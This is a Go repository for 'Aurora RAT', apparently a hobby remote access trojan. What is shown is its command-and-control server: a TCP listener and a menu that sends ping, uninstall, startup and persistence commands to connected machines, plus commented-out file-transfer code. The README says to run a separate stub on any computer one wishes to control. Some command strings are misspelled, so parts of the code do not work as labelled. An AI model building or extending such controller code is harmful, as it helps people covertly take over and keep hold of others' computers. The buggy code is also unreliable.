├── LICENSE ├── README.md └── src ├── Main.go ├── internal └── Aurora.go └── util ├── Client.go ├── List.go └── Packet.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Alan Baumgartner 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Aurora RAT 2 | 3 | ## About 4 | 5 | Aurora RAT or Remote Administration Tool is written in Go. 6 | 7 | This project was started to learn networking in go and get myself started in the security field. 8 | 9 | ## Usage 10 | 11 | Compile and run Main.go then run the stub on whatever computer you wish to control. 12 | 13 | ## Stub 14 | 15 | The stub can be found [here](https://github.com/alanbaumgartner/Aurora-Stub). -------------------------------------------------------------------------------- /src/Main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | . "Aurora/src/internal" 5 | ) 6 | 7 | func main() { 8 | a := NewAurora() 9 | a.Start() 10 | } 11 | -------------------------------------------------------------------------------- /src/internal/Aurora.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | . "Aurora/src/util" 5 | "bufio" 6 | "fmt" 7 | "net" 8 | "os" 9 | "os/exec" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | // CLI interface struct 15 | 16 | type Aurora struct { 17 | listener net.Listener 18 | scanner bufio.Scanner 19 | clients List 20 | } 21 | 22 | func NewAurora() *Aurora { 23 | aurora := &Aurora{} 24 | aurora.clients = NewList() 25 | aurora.scanner = *bufio.NewScanner(os.Stdin) 26 | return aurora 27 | } 28 | 29 | func (aurora *Aurora) Start() { 30 | clearScreen() 31 | for { 32 | if aurora.listener == nil { 33 | var err error 34 | aurora.listener, err = net.Listen("tcp", ":4731") 35 | if err != nil { 36 | aurora.listener = nil 37 | } else { 38 | go aurora.startListening() 39 | } 40 | } else { 41 | aurora.handleCommands() 42 | } 43 | } 44 | 45 | } 46 | 47 | func (aurora *Aurora) startListening() { 48 | for { 49 | conn, err := aurora.listener.Accept() 50 | if err != nil { 51 | break 52 | } else { 53 | aurora.addConnections(conn) 54 | // TODO handle packets 55 | } 56 | } 57 | } 58 | 59 | func (aurora *Aurora) stopListening() { 60 | aurora.listener.Close() 61 | aurora.clients.Clear() 62 | } 63 | 64 | // TODO Handle different net.Listener errors differently. 65 | func (aurora *Aurora) handleListenerError(err error) { 66 | //if err == { 67 | // 68 | //} 69 | } 70 | 71 | func (aurora *Aurora) handleCommands() { 72 | for { 73 | printMenu() 74 | input := aurora.getInput() 75 | inArray := strings.Split(input, " ") 76 | clearScreen() 77 | switch inArray[0] { 78 | case "1": 79 | aurora.pingClient() 80 | case "2": 81 | if len(inArray) >= 2 { 82 | index, err := strconv.Atoi(inArray[1]) 83 | if err != nil { 84 | aurora.simplePacket(-1, "UNINSTALL") 85 | } else { 86 | aurora.simplePacket(index, "UNINSTALL") 87 | } 88 | } else { 89 | aurora.simplePacket(-1, "UNINSTALL") 90 | } 91 | case "3": 92 | if len(inArray) >= 2 { 93 | index, err := strconv.Atoi(inArray[1]) 94 | if err != nil { 95 | aurora.simplePacket(-1, "STARTUP") 96 | } else { 97 | aurora.simplePacket(index, "STARTUP") 98 | } 99 | } else { 100 | aurora.simplePacket(-1, "STARTUP") 101 | } 102 | case "4": 103 | if len(inArray) >= 2 { 104 | index, err := strconv.Atoi(inArray[1]) 105 | if err != nil { 106 | aurora.simplePacket(-1, "RMSTARTUP") 107 | } else { 108 | aurora.simplePacket(index, "RMSTARTUP") 109 | } 110 | } else { 111 | aurora.simplePacket(-1, "RMSTARTUP") 112 | } 113 | case "5": 114 | if len(inArray) >= 2 { 115 | index, err := strconv.Atoi(inArray[1]) 116 | if err != nil { 117 | aurora.simplePacket(-1, "PERSISTENCE") 118 | } else { 119 | aurora.simplePacket(index, "PERSISTENCE") 120 | } 121 | } else { 122 | aurora.simplePacket(-1, "PERSISTENCE") 123 | } 124 | case "6": 125 | if len(inArray) >= 2 { 126 | index, err := strconv.Atoi(inArray[1]) 127 | if err != nil { 128 | aurora.simplePacket(-1, "RMPERSISTENCE") 129 | } else { 130 | aurora.simplePacket(index, "RMPERSISTENCE") 131 | } 132 | } else { 133 | aurora.simplePacket(-1, "RMPERSISTENCE") 134 | } 135 | case "99": 136 | clearScreen() 137 | os.Exit(0) 138 | default: 139 | invalidCommand() 140 | aurora.getInput() 141 | } 142 | clearScreen() 143 | } 144 | } 145 | 146 | func (aurora *Aurora) handlePackets() { 147 | 148 | } 149 | 150 | func (aurora *Aurora) addConnections(conn net.Conn) { 151 | aurora.clients.Add(conn) 152 | } 153 | 154 | func (aurora *Aurora) removeConnection(conn net.Conn) { 155 | aurora.clients.Remove(conn) 156 | } 157 | 158 | // Util Functions 159 | 160 | func (aurora *Aurora) getInput() string { 161 | aurora.scanner.Scan() 162 | cmd := aurora.scanner.Text() 163 | cmd = strings.Trim(cmd, "\n") 164 | return cmd 165 | } 166 | 167 | func clearScreen() { 168 | cmd := exec.Command("cmd", "/c", "cls") 169 | cmd.Stdout = os.Stdout 170 | cmd.Run() 171 | } 172 | 173 | // Commands 174 | 175 | func (aurora *Aurora) pingClient() { 176 | for _, client := range aurora.clients.All() { 177 | enc := client.GetEncoder() 178 | err := enc.Encode(Packet{"PING", "", 0, nil, false}) 179 | if err != nil { 180 | aurora.removeConnection(client.GetConn()) 181 | fmt.Println(err) 182 | } 183 | } 184 | printLogo() 185 | var i int 186 | for index, client := range aurora.clients.All() { 187 | ip := client.GetConn().RemoteAddr().String() 188 | ip = strings.Split(ip, ":")[0] 189 | str := "| " + strconv.Itoa(index) + " | " + ip 190 | for i = 0; i < 27; i++ { 191 | if i == 0 || i == 4 || i == 26 { 192 | fmt.Print("+") 193 | } else { 194 | fmt.Print("-") 195 | } 196 | } 197 | fmt.Println() 198 | fmt.Print(str) 199 | for i := len(str); i < 26; i++ { 200 | fmt.Print(" ") 201 | } 202 | fmt.Println("|") 203 | } 204 | if i != 0 { 205 | fmt.Println("+---+---------------------+") 206 | } else { 207 | fmt.Println("+-------------------------+") 208 | } 209 | fmt.Println("| Press Enter To Continue |") 210 | fmt.Println("+-------------------------+") 211 | aurora.getInput() 212 | } 213 | 214 | func (aurora *Aurora) simplePacket(index int, packet string) { 215 | if index != -1 && aurora.clients.Get(index) != (Client{}) { 216 | if index == -99 { 217 | for _, client := range aurora.clients.All() { 218 | if packet == "UNINSTALL" { 219 | aurora.removeConnection(client.GetConn()) 220 | } 221 | enc := client.GetEncoder() 222 | err := enc.Encode(Packet{packet, "", 0, nil, false}) 223 | if err != nil { 224 | fmt.Println(err) 225 | aurora.removeConnection(client.GetConn()) 226 | } 227 | } 228 | } else { 229 | cl := aurora.clients.Get(index) 230 | enc := cl.GetEncoder() 231 | err := enc.Encode(Packet{packet, "", 0, nil, false}) 232 | if err != nil { 233 | fmt.Println(err) 234 | aurora.removeConnection(cl.GetConn()) 235 | } 236 | } 237 | printLogo() 238 | switch packet { 239 | case "STARTUP": 240 | fmt.Println("+-------------------------+") 241 | fmt.Println("| Startup Added |") 242 | fmt.Println("| Press Enter To Continue |") 243 | fmt.Println("+-------------------------+") 244 | case "RRMSTARTUP": 245 | fmt.Println("+-------------------------+") 246 | fmt.Println("| Startup Removed |") 247 | fmt.Println("| Press Enter To Continue |") 248 | fmt.Println("+-------------------------+") 249 | case "PERSISTENCE": 250 | fmt.Println("+-------------------------+") 251 | fmt.Println("| Persistence Added |") 252 | fmt.Println("| Press Enter To Continue |") 253 | fmt.Println("+-------------------------+") 254 | case "RMPERSISTENCE": 255 | fmt.Println("+-------------------------+") 256 | fmt.Println("| Persistence Removed |") 257 | fmt.Println("| Press Enter To Continue |") 258 | fmt.Println("+-------------------------+") 259 | case "UNINSTALLL": 260 | fmt.Println("+-------------------------+") 261 | fmt.Println("| Connection Removed |") 262 | fmt.Println("| Press Enter To Continue |") 263 | fmt.Println("+-------------------------+") 264 | } 265 | aurora.getInput() 266 | } else { 267 | printLogo() 268 | fmt.Println("+-------------------------+") 269 | fmt.Println("| Connection Not Found |") 270 | fmt.Println("| Press Enter To Continue |") 271 | fmt.Println("+-------------------------+") 272 | aurora.getInput() 273 | } 274 | } 275 | 276 | // Menu Layout 277 | 278 | func invalidCommand() { 279 | printLogo() 280 | fmt.Println("+-------------------------+") 281 | fmt.Println("| Invalid Command |") 282 | fmt.Println("| Press Enter To Continue |") 283 | fmt.Println("+-------------------------+") 284 | } 285 | 286 | func printLogo() { 287 | fmt.Println(" _____ ") 288 | fmt.Println(" / _ \\ __ _________ ________________ ") 289 | fmt.Println(" / /_\\ \\| | \\_ __ \\/ _ \\_ __ \\__ \\ ") 290 | fmt.Println("/ | \\ | /| | \\( <_> ) | \\// __ \\_") 291 | fmt.Println("\\____|__ /____/ |__| \\____/|__| (____ /") 292 | fmt.Println(" \\/ \\/ ") 293 | } 294 | 295 | func printMenu() { 296 | printLogo() 297 | fmt.Println("+----------------+") 298 | fmt.Println("| Commands |") 299 | fmt.Println("+----+-----------+") 300 | fmt.Println("| 1 | Ping |") 301 | fmt.Println("| 2 | Uninstall |") 302 | fmt.Println("| 3 | Startup |") 303 | fmt.Println("| 4 | Rm Strtup |") 304 | fmt.Println("| 5 | Persist |") 305 | fmt.Println("| 6 | Rm Prsist |") 306 | fmt.Println("| 99 | Exit |") 307 | fmt.Println("+----+-----------+") 308 | fmt.Print("\nEnter Command: ") 309 | } 310 | 311 | // OLD CODE 312 | 313 | // aurora.workingDirectory, _ = filepath.Abs(filepath.Dir(os.Args[0])) 314 | // aurora.downloadDirectory, err = filepath.Abs(aurora.workingDirectory + "\\Downloads") 315 | 316 | //func (aurora *Aurora) uploadFile(conn net.Conn, fileName string) { 317 | // buffer := make([]byte, 1024) 318 | // file, _ := os.Open(fileName) 319 | // defer file.Close() 320 | // 321 | // i := 0 322 | // for { 323 | // _, err := file.Read(buffer) 324 | // if err == io.EOF { 325 | // err = aurora.encoders[conn].Encode(Packet{"FILE", fileName, 0, nil, true}) 326 | // if err != nil { 327 | // aurora.removeConnection(conn) 328 | // fmt.Println(err) 329 | // } 330 | // break 331 | // } 332 | // err = aurora.encoders[conn].Encode(Packet{"FILE", fileName, int64(i), buffer, false}) 333 | // if err != nil { 334 | // aurora.removeConnection(conn) 335 | // fmt.Println(err) 336 | // } 337 | // i++ 338 | // } 339 | //} 340 | 341 | //case "FILE": 342 | // if _, err := os.Stat(aurora.downloadDirectory); os.IsNotExist(err) { 343 | // err := os.MkdirAll(aurora.downloadDirectory, os.ModeDir) 344 | // if err != nil { 345 | // fmt.Println(err) 346 | // } 347 | // } 348 | // fileName := aurora.downloadDirectory + "\\" + packet.StringData 349 | // if packet.Done && files[fileName] != nil { 350 | // files[fileName].Close() 351 | // fmt.Println("Aurora: Finished downloading", packet.StringData) 352 | // delete(files, fileName) 353 | // } else if packet.Done && files[fileName] == nil { 354 | // continue 355 | // } else { 356 | // if files[fileName] == nil { 357 | // fmt.Println("Aurora: Started downloading", packet.StringData) 358 | // if _, err := os.Stat(fileName); os.IsNotExist(err) { 359 | // files[fileName], _ = os.Create(fileName) 360 | // } else { 361 | // files[fileName], _ = os.Open(fileName) 362 | // } 363 | // defer files[fileName].Close() 364 | // } 365 | // files[fileName].WriteAt(packet.FileData, packet.BytePos*1024) 366 | // } 367 | -------------------------------------------------------------------------------- /src/util/Client.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "encoding/json" 5 | "net" 6 | ) 7 | 8 | type Client struct { 9 | connection net.Conn 10 | encoder *json.Encoder 11 | decoder *json.Decoder 12 | } 13 | 14 | func (client *Client) GetConn() net.Conn { 15 | return client.connection 16 | } 17 | 18 | func (client *Client) SetConn(newConn net.Conn) { 19 | client.connection = newConn 20 | } 21 | 22 | func (client *Client) GetEncoder() json.Encoder { 23 | return *client.encoder 24 | } 25 | 26 | func (client *Client) SetEncoder(newEncoder *json.Encoder) { 27 | client.encoder = newEncoder 28 | } 29 | 30 | func (client *Client) GetDecoder() json.Decoder { 31 | return *client.decoder 32 | } 33 | 34 | func (client *Client) SetDecoder(newDecoder *json.Decoder) { 35 | client.decoder = newDecoder 36 | } 37 | -------------------------------------------------------------------------------- /src/util/List.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "encoding/json" 5 | "net" 6 | ) 7 | 8 | type List struct { 9 | Clients []Client 10 | } 11 | 12 | func NewList() List { 13 | self := List{} 14 | self.Clients = []Client{} 15 | return self 16 | } 17 | 18 | func (list *List) Get(index int) Client { 19 | if index < len(list.Clients) { 20 | return list.Clients[index] 21 | } 22 | return Client{} 23 | } 24 | 25 | func (list *List) Add(conn net.Conn) { 26 | for _, client := range list.Clients { 27 | if client.GetConn() == conn { 28 | return 29 | } 30 | } 31 | newConnData := Client{conn, json.NewEncoder(conn), json.NewDecoder(conn)} 32 | list.Clients = append(list.Clients, newConnData) 33 | } 34 | 35 | func (list *List) Remove(conn net.Conn) { 36 | for index, client := range list.Clients { 37 | if client.GetConn() == conn { 38 | list.Clients = append(list.Clients[:index], list.Clients[index+1:]...) 39 | return 40 | } 41 | } 42 | } 43 | 44 | func (list *List) All() []Client { 45 | return list.Clients 46 | } 47 | 48 | func (list *List) Clear() { 49 | list.Clients = []Client{} 50 | } 51 | 52 | func (list *List) isEmpty() bool { 53 | if len(list.Clients) == 0 { 54 | return true 55 | } 56 | return false 57 | } 58 | -------------------------------------------------------------------------------- /src/util/Packet.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | type Packet struct { 4 | Form string 5 | 6 | StringData string 7 | 8 | // Variables for file transfers 9 | BytePos int64 10 | FileData []byte 11 | Completed bool 12 | } 13 | 14 | func (packet *Packet) GetForm() string { 15 | return packet.Form 16 | } 17 | 18 | func (packet *Packet) SetForm(newForm string) { 19 | packet.Form = newForm 20 | } 21 | 22 | func (packet *Packet) GetStringData() string { 23 | return packet.StringData 24 | } 25 | 26 | func (packet *Packet) SetStringData(newStringData string) { 27 | packet.StringData = newStringData 28 | } 29 | 30 | func (packet *Packet) GetBytePos() int64 { 31 | return packet.BytePos 32 | } 33 | 34 | func (packet *Packet) SetBytePos(newBytePos int64) { 35 | packet.BytePos = newBytePos 36 | } 37 | 38 | func (packet *Packet) GetFileData() []byte { 39 | return packet.FileData 40 | } 41 | 42 | func (packet *Packet) SetFileData(newFileData []byte) { 43 | packet.FileData = newFileData 44 | } 45 | 46 | func (packet *Packet) GetComplete() bool { 47 | return packet.Completed 48 | } 49 | 50 | func (packet *Packet) SetCompleted(newCompleted bool) { 51 | packet.Completed = newCompleted 52 | } 53 | --------------------------------------------------------------------------------